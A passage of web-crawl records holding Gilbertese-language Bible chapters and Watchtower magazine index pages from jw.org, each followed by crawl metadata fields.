tia naba n taekinaki te rongorongo ae raoiroi nakoira,+ n aroia ara bakatibu, ma a aki kakabwaiaaki ngaiia n te taeka are a ongo, ibukina bwa a aki katiteuanaaki n te onimaki ma te koraki ake a ongo. 3 Bwa ti na ibuokanibwai n te motirawa ngaira aika ti kakaonimaki, n aron are e taekinna ni kangai: \"Mangaia ae I taetae n tuea ni marakin nanou ni kangai, 'A na aki ibuokanibwai n au motirawa.'\"+ E taekina anne e ngae ngke e a kaman tia ana mwakuri mani moan rikin te botannaomata.+ 4 Bwa e taekina ae kangai ni kibun te Koroboki ae Tabu ni kaineti ma te kaitiua ni bong: \"Ao e motirawa te Atua n te kaitiua ni bong man ana mwakuri ni kabane,\"+ 5 ao e a manga taku: \"A na aki ibuokanibwai n au motirawa.\"+ 6 Ma kioina ngkai iai tabeman aika a na ibuokanibwai iai ao a aki ibuokanibwai te koraki ake e moan taekinaki nakoia te rongorongo ae raoiroi ibukin aia aki ongeaba,+ 7 imwin te tai ae maan, ao e a manga kaonota te bong teuana ngke e kabongana te taeka ae \"Te Bong Aei,\" n ana areru Tawita n aron are taekinaki i eta ni kangai, \"Ngkana kam ongo ni bwanaana n te bong aei, ao tai kamatoatoai nanomi.\"+ 8 Bwa ngke arona bwa e kairiia Iotua+ nakon te tabo ni motirawa, e na aki manga taekina te bong teuana te Atua imwina riki. 9 Mangaia ae e teimatoa n iai te motirawa ae ai aron te bongi n taabati ibukia ana aomata te Atua.+ 10 Bwa e motirawa naba man oin ana mwakuri, te aomata are ibuokanibwai n ana motirawa te Atua, n aron te Atua ngke e motirawa man ana mwakuri.+ 11 Mangaia ae ti bia kekeiaki mwaaka bwa ti aonga n ibuokanibwai n te motirawa anne, bwa e aonga n aki bwaka temanna ao ni katotonga aron te aki ongeaba arei.+ 12 Bwa e maiu ana taeka te Atua ao e mwaaka+ ao e kakang riki nakoni kabaang aika uaitera wia,+ ao e ewaewa ni kaota kaokoron taraan te aomata* ma are i nanona,* ao taian toma n ri ma kanoaia, ao e kona n atai baike e iangoi te nano ma baike e kantaningai. 13 Ao akea te karikibwai teuana ae aki oti i matana,+ ma a bane n aki karabaaki bwaai ao a tangaina ma n otara i matan teuare ti riai n anganna taekan arora.+ 14 Mangaia ae ngkai iai ara ibonga ae rietata* ae kakannato, ae e a tia n nako karawa ae Iesu ae Natin te Atua,+ ao ti bia teimatoa ni kaotiota onimakinana iroura.+ 15 Bwa ara ibonga ae rietata bon tiaki teuae aki kona n nanoangaira ni mamaarara,+ ma bon teuae e a tia ni kataaki ni bwaai ni kabane n ai arora, ma e aki bure.+ 16 Ngaia ae ti bia kaania te kaintokanuea are reke iai te akoi ae rianako, ao n tataro nakon te Atua ma te aki maaku,+ bwa ti aonga n nanoangaaki ao ni karekea te akoi ae rianako ibukini buokara n te tai are ti kainnanoia iai.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ebera\/4\/","date":"2018-03-22T16:07:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647892.89\/warc\/CC-MAIN-20180322151300-20180322171300-00222.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":594,"character_repetition_ratio":0.063,"word_repetition_ratio":0.007,"special_characters_ratio":0.239,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI July 2015\nATUN TE MAEKATIN\nE noraki n taiani kakaae bwa e kona naba ni karekea te moantaai ni mate te raraoma teutana. Ko na kangaa n tokanikai iai?\nATUN TE MAEKATIN\nTe mwaane temanna are e katauraoi baika a kainnanoaki ibukini maiuia ana utu ngke a birirake booni bwaai nakon te birion.\nATUN TE MAEKATIN\nAna karaki temanna te aine ibukin rotakibuakana, raurena, maiuna ao ataakin nanon te onimaki ni koaua.\nATUN TE MAEKATIN\nTera arom n tokanikai i aon te buaka, te iowawa, te baareka, bibitakini kanoani boong ao te aoraki ae ewewe mani kamamate?\nE BITII MAIUIA AOMATA TE BAIBARA\nStephen McDowell bon te mwaane ae iowawa, ma e bitaki maiuna man aki karaoan te tiritiri.\nE kona n reke te kaeka mani maiuia Iobi, Rota ao Tawita ake a bane ni karaoa ae kairua.\nTera aroni kabonganaakin atibu n ii baraua n taai ake rimoa? Tera ae nanonaki n te taeka ae 'e mena i bwanibwanin'?\nE na iai te tai ae na toki iai te buakaka?\nBaika Tibwa Rin Riki n te Intanete\nE bon tabe te Atua ma ara kangaanga?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150701\/","date":"2018-03-24T18:20:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650764.71\/warc\/CC-MAIN-20180324171404-20180324191404-00336.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":187,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22 E taku ngkanne Tawita: \"Aio ana auti Iehova ae te Atua ae koaua, ao aio te baonikarea ibukin te karea ni kabuekaki ibukia tibun Iteraera.\"+ 2 Ao e tua Tawita bwa a na kairaki aomata aika maeka n iruwa+ ake a mena n te aba ae Iteraera, ao e mwiokoiia bwa taani korokorei atibu, bwa a na korei atibu ao ni karaoi tein atibu ibukini katean ana auti te Atua ae koaua.+ 3 E katauraoa naba Tawita te biti ae mwaitikurikuri ibukin neeran mataroan te oo, ao ibukini bwaai n tomatoma, ao te buraati naba ae rangi ni bati ae e a aki kona n tauaki rawawatana,+ 4 ao kaai naba aika tiira+ aika aki kona ni warekaki, bwa a uotii kaai aika tiira aika mwaitikurikuri I-Titon+ ao I-Turo+ nakon Tawita. 5 Ao e taku Tawita: \"E uarereke natiu ae Toromon ao e ronnano,*+ ao te auti ae e na kateaki ibukin Iehova e na rianako tamaroana, n te aro are e na ataaki n aaba nako+ kakannatona+ ao tamaroana.+ Mangaia ae N na katauraoi ibukin teuaei.\" Mangaia are e katauraoi bwaai aika mwaitikurikuri Tawita imwaini matena. 6 Ao e wetea natina are Toromon ao e tuangnga bwa e na katea te auti ibukin Iehova ae Atuan Iteraera. 7 Ao Tawita e tuanga natina are Toromon ni kangai: \"Bon iai nanou ngai ni kani katea te auti ibukin aran Iehova ae Atuau.+ 8 Ma e roko ana taeka Iehova irou ae kangai, 'Ko a tia ni katutua te raraa ae rangi ni bati, ao ko a tia ni buaka ni buaka aika korakora. Ko na aki katea te auti ibukin arau,+ bwa ko a tia ni katutua te raraa ae rangi ni bati i aon te aba i matau. 9 Noria! E na reke natim ae te mwaane+ ae raoi,* ao N na anganna te motirawa mairouia taani kairiribai nakoina ni kabane akana katobibia,+ bwa e na aranaki bwa Toromon,*+ ao N na angania tibun Iteraera te raoi ao te rau n ana bong.+ 10 Boni ngaia ae e na katea te auti ibukin arau.+ E na riki bwa natiu, ao N na riki bwa tamana.+ N na kateimatoa n aki toki kaintokanuean nakoana n uea i Iteraera.'+ 11 \"Ao ngkai natiu, e bia memena Iehova iroum, ao e bia nakoraoi am waaki ao katea ana auti Iehova ae Atuam, n aron are e taekinna ibukim.+ 12 Ma e bia anganiko Iehova te wanawana ao te ataibwai+ ngkana e a anganiko mwaakam n tautaeka i Iteraera, bwa ko aonga ni kawakina ana tua Iehova ae Atuam.+ 13 Ao ane e na nakoraoi am waaki, ngkana ko kakairi raoi ni kaetieti+ ao mooti ake e tua Iehova nakoni Mote bwa a na anganaki tibun Iteraera.+ Ko na ninikoria ao kakorakorako. Tai maaku ke ni maakunrang.+ 14 I a tia n rinanon te korakai ae rangi ni bati ni katauraoa 100,000 te tarena* ni koora, 1,000,000 te tarena n tirewa, ao te buraati ae mwaitikurikuri ma te biti+ aika aki kona n tauaki rawawataia, ibukin ana auti Iehova. Ao I a tia ni katauraoi kaai ma atibu,+ ma ko na kabatiai riki. 15 A mena iroum taani mwakuri aika mwaane aika rangi ni bati, aika taani koro atibu, taani mwakuria te atibu,+ taani mwakuria te kai, ao taani mwakuri aika mwaatai n aeka ni mwakuri nako.+ 16 E a rangi ni bati te koora, te tirewa, te buraati ao te biti n te aro are e a aki kona ni baireaki rawawatana.+ Teirake ao waakina te mwakuri, ao e bia memena Iehova iroum.\"+ 17 Ao e tua Tawita nakoia aia toka ni kabane tibun Iteraera bwa a na buoka natina are Toromon, ni kangai: 18 \"Tiaki e memena Iehova ae Atuami iroumi, ao tiaki e a tia n anganingkami te motirawa mairouia aiami ni kabane ake i rarikimi? Bwa e anga kaain te aba nakoiu ao e a tia ni kataenikaiaki te aba aei i matan Iehova ao i mataia ana aomata. 19 Mangaia ae motikia ma nanomi ni kabane ao maiumi* ni kabane bwa kam na ukoukora Iehova ae Atuami,+ ao waakina katean ana tabo ae tabu Iehova ae te Atua ae koaua,+ bwa kam na uota ana ati ni berita Iehova ao ana bwai aika tabu te Atua ae koaua,+ nakon te auti ae kateaki ibukin aran Iehova.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-rongorongo\/22\/","date":"2018-03-22T10:28:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647838.64\/warc\/CC-MAIN-20180322092712-20180322112712-00551.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":744,"character_repetition_ratio":0.063,"word_repetition_ratio":0.011,"special_characters_ratio":0.242,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13 Ao e tei te rakon n aki kakammwakuri i aon te bike. Ao I nora te man ae tiritiri+ ae otirake mai taari,+ ae tengauni korona ao itiua atuna, ao iai baunuea aika tengaun i aoni korona, ao iai aara aika kamatauningaa te Atua i aon atuna nako. 2 Ao te man ae tiritiri are I noria ai aron te rebwari, ma waena ai aroni waen te bea, ao wina ai aroni win te raian. Ao te rakon+ e angan te man ae tiritiri mwaakana ao ana kaintokanuea ao mwaakana n tautaeka ae korakora.+ 3 I nora atuna teuana bwa kaanga e kaikoakaki n te aro ae kakaiaki, ma e a manga kamaoaki ikoakina are e nangi mate iai,+ ao a bane kaain te aonnaba n ririmwin te man ae tiritiri aei ni miiakinna. 4 Ao a taromauria te rakon ibukina bwa e anga te mwaaka n tautaeka nakon te man ae tiritiri, ao a taromauria te man ae tiritiri n taeka aikai: \"Antai ae ai aron te man ae tiritiri, ao antai ae kona ni buakanna?\" 5 E anganaki te wi ae tataekini baika kainikatonga ma taiani kabuakaka, ao e anganaki naba te mwaaka ae e na mwamwakuri iai i nanon 42 namwakaina.+ 6 Ao e kaurea wina n taetae ni kabuakakaa+ te Atua, ni kabuakakaa arana ma ana tabo ni maeka ao te koraki naba ake a maeka i karawa.+ 7 E kariaiakaki bwa e na buakania te koraki aika itiaki* ao n tokanikai i aoia,+ ao e anganaki te mwaaka n tautaeka i aoia baronga nako, ma botannaomata, ma taian taetae, ao natannaomata. 8 Ao ane a na bane n taromauria te man arei aomata ake a maeka n te aonnaba. Mangke e moan riki te botannaomata, ao akea temanna i buakoia ae e koreaki arana n ana boki ni kamaiu+ te Tiibutetei are kamateaki.+ 9 Ane iai taningana ao ke e ongo.+ 10 Ane e katauaki bwa e na taenikai ao e na nako bwa te taenikai. Ane e tiritiri n te kabaang* ao e riai n tiringaki n te kabaang.+ Aei are e kainnanoaki iai te nanomwaaka+ ao te onimaki+ irouia te koraki aika itiaki.*+ 11 Ao I nora temanna riki te man ae tiritiri ae otirake mai aantano ao iai korona aika uaai aika kaanga koron te tiibutetei, ma e taetae n ai aron te rakon.+ 12 Ao e mwamwakuria ni kabane mwaakan te moani man are tiritiri,+ i matan te moani man arei. Ao e kaira te aonnaba ma kaaina bwa a na taromauria te moani man are tiritiri are kamaoaki ikoakin atuna are e nangi mate iai.+ 13 Ao e karaoi kanikina aika rangi ni kamimi, n te aro ae e kona naba ni kabwakaa te ai mai karawa nako aon te aba i mataia aomata. 14 E burebureiia aomata ake a maeka n te aonnaba n taiani kanikina ake e kariaiakaki bwa e na karaoi i matan te man are tiritiri, ao e tuangia aomata ake a maeka n te aonnaba bwa a na karaoa katotongan+ te man are tiritiri are ikoaki n te kabaang ma e boni maiu naba.+ 15 Ao e kariaiakaki bwa e na karina te ikeike* irouni katotongan te man are tiritiri, bwa e aonga n taetae katotongan te man are tiritiri ao ni karekea kamateaia te koraki ni kabane ake a rawa n taromauria katotongan te man are tiritiri. 16 E kairoroiia aomata ni kabane aika mangori ao aika kakannato, ao aika kaubwai ao aika maiu ni kainnano, ao aika inaomata ao aika tooro, bwa e na kanikinaeaki baia are te atai ke aon ramwaia,+ 17 bwa e aonga n akea temanna ae kona ni boobwai ke ni kaboonakoi bwaai, ma tii te aomata are iai te kanikina irouna, ae aran+ te man are tiritiri, ke waren arana.+ 18 Aei are e kainnanoaki iai te wanawana: Ane iai ana ataibwai ao ke e warebwaia waren aran te man are tiritiri, bwa bon ana ware te aomata, ao te ware anne bon 666.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-kaotioti\/13\/","date":"2018-03-23T09:46:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648205.76\/warc\/CC-MAIN-20180323083246-20180323103246-00037.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":693,"character_repetition_ratio":0.089,"word_repetition_ratio":0.006,"special_characters_ratio":0.236,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19 \"Ko riai n anenea te anene ae kananokawaki* ni kaineti ma aia mataniwi nako tibun Iteraera, 2 ao kangai,'Aekakira tinam? Te raian aine i buakoia raian. E wene i buakoia raian aika ataei aika korakora ao e kaikawaiia bunna. 3 E kaikawaa temanna i buakoia bunna, ao e a riki bwa te raian ae ataei ae korakora.+ E a rabakau aron raebitiani konana,Ao e kaakang aomata naba. 4 A ongo taekana natannaomata ao a kamwanea n aia mwarua,Ao a karini matau i bwairina ao a uotia nakon te aba ae Aikubita.+ 5 E tataninga tinana ao n tokina e a ataia bwa e a aki oki natina. Mangaia are e a manga anaa riki bunna temanna ao e kanakoa bwa te raian ae ataei ae korakora. 6 E a manga ririaki naba i buakoia raian ao e a manga riki naba bwa te raian ae ataei ae korakora. E a rabakau aron raebitiani konana, ao e kaakang aomata naba.+ 7 E kakaaea konana ribuakon aia taua aika nonoaki ao e urui aia kaawa,N te aro are e a on te aba ae kamaroaeaki ni karongoaani bekorarana.+ 8 A roko n ekianako natannaomata man aono ake i rarikina ao a kaaki aia karaun i aona,Ao e a mwane n aia mwarua. 9 A katikia ma taiani matau ake a karini i bwairina, ao a karinna ni nneia maan, ao a uotia nakon ueani Baburon. A kainna ikekei, bwa e aonga n aki manga ongo te aba bwanaana riaoni maungan Iteraera. 10 Tinam kaanga ai aron te kai ae te kureebe+ i nanon raraam,* ae unikaki i rarikin te ran. E karikiuaa ao e rangi ni mwaiti mwaangana ibukin te ran ae bati. 11 E karikii mwaanga* aika mamatoa, aika tau n riki bwa okoia taan tautaeka. E a rikirake ma n rangi n abwabwaki riki i buakoni kaai ake tabeua,Ao e otara ibukin abwakina ao ibukini mwaitini baana. 12 Ma e taekaki wakaan neiei n te un ae korakora,+ ao e kabwakaaki i aontano, Ao e karaia uaana te angimainiku. A a kounako mwaangana aika mamatoa ao a a rai,+ ao a a bue n te ai.+ 13 E a unikaki ngkai n te rereua,N te aba ae akea te ran iai ae mwautakataka.+ 14 E rakanako te ai mani mwaangana* ao e kabueki bwebwena ma uaana,Ao ai akea te mwaanga ae matoa ae tiku, ai akea te oko n uea ibukin te tautaeka.+ \"'Anne bon te anene ae kananokawaki, ao e na riki bwa te anene ae kananokawaki.'\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etekiera\/19\/","date":"2018-03-17T18:49:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00195.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":451,"character_repetition_ratio":0.056,"word_repetition_ratio":0.023,"special_characters_ratio":0.239,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kona n reke te rau n te aonnaba?\nTera am kaeka?\nEng\nE aki\nTao eng\nAe e taekinaki n te Baibara\nI aan ana kairiri Iesu Kristo ao \"e na bati te raoi ni karokoa ae ai akea namwakaina\" ae nanona bwa akea tokina.—Taian Areru 72:7.\nTera riki reireiara man te Baibara?\nE boni kona n reke te raunnano ni koaua ngkai?\nA kakoauaa tabeman . . . bwa e a aki kona n reke te raunnano ni koaua ngkai e a onrake te aonnaba n te rawawata ao n te ribuaka. Tera ngkoe am iango?\nAe e taekinaki n te Baibara\nA kona naba ngkai te koraki ake a kaan ma te Atua ni karekea \"te rau are mairoun te Atua ae riaon aia iango aomata.\"—I-Biribi 4:6, 7.\nTera riki reireiara man te Baibara?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na5-2017-tebetembwa\/kibun-te-baibara-ibukin-te-rau\/","date":"2018-03-23T09:49:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648205.76\/warc\/CC-MAIN-20180323083246-20180323103246-00421.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":131,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngai ae Bauro ae ana abotoro Kristo Iesu n ana kantaninga te Atua, ma tarira ae Timoteo,+ 2 I koroboki nakoia te koraki aika itiaki* ao taari aika kakaonimaki aika taan rimwini Kristo i Korote: Ke e mena iroumi te akoi ae rianako ma te rau mairoun te Atua ae Tamara. 3 Ti aki toki ni kaitaua te Atua ae Taman ara Uea ae Iesu Kristo ngkana ti tataro ibukimi, 4 kioina ngkai ti ongo taekan ami onimaki ni kaineti ma Kristo Iesu ma ami tangira ibukia te koraki aika itiaki* ni kabane, 5 ibukin te kantaninga are kamenaaki imwaimi i karawa.+ Kam ongo taekan te kantaninga aei ngkoa ngke e taekinaki te koaua nakoimi ae taekan te rongorongo ae raoiroi 6 are roko iroumi. E tabe ni karikiuaa ma n rarakarake n te aonnaba+ ni kabutaa te rongorongo ae raoiroi, n aron are e riki naba i buakomi, man te bong are kam ongo ao n ataa raoi iai te koaua ibukin ana akoi ae rianako te Atua. 7 Anne ae kam reiakinna mairoun Ebabera+ are raora n toro ae tangiraki, ae ana minita ae kakaonimaki te Kristo are e onei mwira. 8 E kaota naba nakoira ami tangira ae reke rinanon taamnein te Atua. 9 Anne bukina naba ae man te bong are ti ongo iai ao ti aki toki n tataro ibukimi+ ma ni bubutii bwa kam na kaonaki n te atatai ae eti+ ibukin ana kantaninga te Atua, n te wanawana ni kabanea ao n te ataibwai are e anga taamnein te Atua,+ 10 bwa kam aonga n nakonako n te aro ae tau i matan Iehova* ni karekea iai kakukureiana ni bwaai ni kabane, ngkai kam teimatoa ni karikiuaa ni mwakuri nako aika raraoi, ao n rikirake n te atatai ae eti n taekan te Atua.+ 11 Ao kam bia kakorakoraaki n te mwaaka ae kam kainnanoia ae reke mani mimitongini mwaakana,+ bwa kam aonga n nanomwaaka ni bwaai ni kabane ma te taotaonakinnano ao te kimwareirei, 12 ngkai kam kaitaua te Tama are katauingkami bwa kam na ibuokanibwai n tibwangaia te koraki aika itiaki*+ ake a mena n te oota. 13 E kamaiuira mani mwaakan te rotongitong+ ao e uotira nakon ana tautaeka n uea Natina are e tangiria, 14 are e reke mairouna kainaomataara n te kaboomwi, are kabwaraan ara bure.+ 15 Boni ngaia katotongan te Atua ae aki nonoraki,+ ae te moanibung i buakoni baika karikaki ni kabane,+ 16 ibukina bwa nikirani bwaai ake i karawa ao i aon te aba, a boni karikaki rinanon teuaei, aika baika nonoraki ao baika aki nonoraki,+ e ngae ngke taiani kaintokanuea ke taian nakoa n uea ke taian tautaeka ke taiani mwaaka ni kairiri. A bane ni karikaki baikai rinanon+ ao ibukin teuaei. 17 Ao bon iai ngaia imwaini baikai ni kabane,+ ao a bane n riki baikai rinanon teuaei, 18 ao boni ngaia atun te rabwata, ae te ekaretia.+ Boni ngaia moani bwaai nako, ae te moanibung mai buakoia maate,+ bwa e aonga n riki bwa te moanibwai ni bwaai nako, 19 ibukina bwa e kukurei te Atua bwa a na kororaoi bwaai ni kabane i nanon teuaei,+ 20 ao rinanon teuaei e a raoiakini bwaai ni kabane+ te Atua bon nakoina, ngke e karekea te raoi rinanon raraan+ teuaei are kawawaeaki i aon te kai ni kammaraki,* n aki ongeia bwa bwain te aonnaba ke bwaini karawa. 21 Ni koauana, kam a tia ngkoa n ianena ma te Atua ao kam kairiribai nakoina, ibukina bwa kam kaatuui ami iango i aoni mwakuri aika bubuaka. 22 E a tia ngkai te Atua ni karekea te raoi rinanon rabwatan teuaei ni matena, bwa e aonga ni kaotingkami bwa kam itiaki ao akea kabuakakaami ma bukinami i matana,+ 23 ngkana kam teimatoa i nanon te onimaki+ ma ni kateimatoaaki i aon aana+ ao ni kaneneaki,+ n aki kamwaingaki man te kantaninga ae reke man te rongorongo ae raoiroi ane kam ongora anne, ae tataekinaki n taabo nako aika i aani karawa.+ I a riki bwa te minita ngai ae Bauro bwa N na tataekina te rongorongo ae raoiroi aei.+ 24 I a kimwareirei ngkai ni marakiu ibukimi,+ ao I taku bwa e tuai koro rawawatau i rabwatau ibukin te Kristo ni kaineti ma rabwatana,+ ae taekan te ekaretia.+ 25 I a riki bwa te minita ibukin te ekaretia aei n aron te mwioko+ mairoun te Atua, are I anganaki ibukimi bwa N na kakororaoa tataekinan ana taeka te Atua, 26 ae te bwai ae raba ae tabu+ are karabaaki ngkoa man taiani waaki ake i aon te aba*+ ao man rooro ake a a bwakanako. Ma e a kaotaki ngkai nakoia ana koraki aika itiaki.*+ 27 Ao e kukurei te Atua ni kaotia nakoia te koraki aika itiaki taekan te kaubwai ae mimitong ae reitaki ma te bwai ae raba ae tabu+ aei ae tabe ni kaotiotaki i buakoia natannaomata. Te baei boni katiteuanaakimi ma Kristo are nanona kantaningaan reken te mimitong+ ma ngaia. 28 Bon teuaei are ti tataekinna, ao ti kaungaia aomata nako ma n reireinia ma te wanawana ni kabanea, bwa ti aonga ni kaotiia nakon te Atua bwa aomata aika kororaoi aroia ni katiteuanaakia ma Kristo.+ 29 Ao ibukin aei I mwakuri korakora ni kakorakoraai rinanoni mwaakana ae mwamwakuri i nanou.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-korote\/1\/","date":"2018-04-22T05:43:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00300.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":897,"character_repetition_ratio":0.054,"word_repetition_ratio":0.005,"special_characters_ratio":0.225,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20 \"Ngkana kam nako ni buakania aiami ao kam noria bwa a bati riki aia aoti nakoimi, aia kaa ni buaka, ao aia taanga ni buaka, ao tai maakuia, bwa e mena iroumi Iehova ae Atuami are kairingkami ni kaotinakoingkami man te aba are Aikubita.+ 2 Ngkana kam nangi nako ni buaka, ao e riai ni keerake te ibonga* ao n taetae nakoia aomata.+ 3 E riai n tuangia ni kangai, 'Ongora ngkami aika tibun Iteraera. Kam nangi buakania ngkai aiami. E na aki nimamate nanomi. Tai maaku ke ni maakunrang ke n rurubenebene irouia, 4 bwa e mwaati ma ngkami Iehova ae Atuami bwa e na buaka ibukimi, ni kaaitaraia aiami, ao ni kamaiuingkami.'+ 5 \"A riai naba mataniwi n tuangia aomata ni kangai, 'Antai ae e a tia ni katea ana auti ae boou ao e tuai ni karaoa kaukana? Kariaia bwa e na okira ana auti, bwa e kaawa ni mate n te buaka ao e na karaoa kaukana te aomata temanna. 6 Ao antai ae e a tia n uniki kureebe n ana nne ni kureebe ao e tuai n taia uaana? Kariaia bwa e na okira ana auti, bwa e kaawa ni mate n te buaka ao e na taia uaana te aomata temanna. 7 Ao antai ae kabae ma te aine temanna ao e tuai ni mare ma ngaia? Kariaia bwa e na okira ana auti,+ bwa e kaawa ni mate n te buaka ao e na mare te mwaane temanna ma neienne.' 8 A riai naba mataniwi n titirakinia aomata ni kangai, 'Antai ae kimamaaku ao ae nimamate nanona?+ E riai n okira ana auti, bwa e aonga n aki kabwarai nanoia tarina n ai arona.'*+ 9 Ngkana a a tia n taetae mataniwi nakoia aomata, ao a riai n rineiia taani kairiri n te taanga ni buaka aika a na kairiia aomata. 10 \"Ngkana kam kaania te kaawa bwa kam na buakanna, kam riai naba n taekin nakoia kaain te kaawa anne baika a riai ni karaoi ibukin reken te raoi.+ 11 Ngkana a butimwaei baikanne ao a kauka mataroan oon aia kaawa nakoimi, a na riki aomata ni kabane aika mena ikanne bwa ami toro aika kam na 